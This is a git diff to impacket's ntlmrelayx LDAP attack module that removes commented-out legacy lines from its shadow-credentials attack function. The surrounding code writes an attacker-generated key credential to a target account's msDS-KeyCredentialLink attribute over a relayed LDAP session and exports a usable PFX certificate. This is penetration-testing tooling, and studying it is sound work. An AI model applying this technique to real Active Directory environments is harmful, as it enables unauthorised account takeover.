diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 896c82e86..c8971c6d6 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -282,11 +282,9 @@ def shadowCredentialsAttack(self, domainDumper): LOG.info("Target user found: %s" % target_dn) LOG.info("Generating certificate") - #certificate = X509Certificate2(subject=currentShadowCredentialsTarget, keySize=2048, notBefore=(-40 * 365), notAfter=(40 * 365)) certificate,publicKey,key = shadow_credentials.createX509Certificate(subject=currentShadowCredentialsTarget, keySize=2048, notBefore=(-40 * 365), notAfter=(40 * 365)) LOG.info("Certificate generated") LOG.info("Generating KeyCredential") - #keyCredential = KeyCredential.fromX509Certificate2(certificate=certificate, deviceId=Guid(), owner=target_dn, currentTime=DateTime()) keyCredential = shadow_credentials.CreateKeyCredentialFromX509Certificate(publicKey, deviceId=shadow_credentials.getRandomGUID(), owner=target_dn, currentTime=shadow_credentials.getTimeTicks()) #LOG.info("KeyCredential generated with DeviceID: %s" % keyCredential.DeviceId.toFormatD()) #LOG.debug("KeyCredential: %s" % keyCredential.toDNWithBinary().toString()) @@ -300,7 +298,6 @@ def shadowCredentialsAttack(self, domainDumper): LOG.error('Could not query target user properties') return try: - #new_values = results['raw_attributes']['msDS-KeyCredentialLink'] + [keyCredential.toDNWithBinary().toString()] new_values = results['raw_attributes']['msDS-KeyCredentialLink'] + [shadow_credentials.toDNWithBinary2String( keyCredential, target_dn )] LOG.info("Updating the msDS-KeyCredentialLink attribute of %s" % currentShadowCredentialsTarget) self.client.modify(target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]}) @@ -324,7 +321,6 @@ def shadowCredentialsAttack(self, domainDumper): LOG.debug("No pass was provided. The certificate will be store with the password: %s" % password) else: password = self.config.ShadowCredentialsPFXPassword - #certificate.ExportPFX(password=password, path_to_file=path) shadow_credentials.exportPFX(certificate,key,password=password, path_to_file=path) LOG.info("Saved PFX (#PKCS12) certificate & key at path: %s" % path + ".pfx") LOG.info("Must be used with password: %s" % password)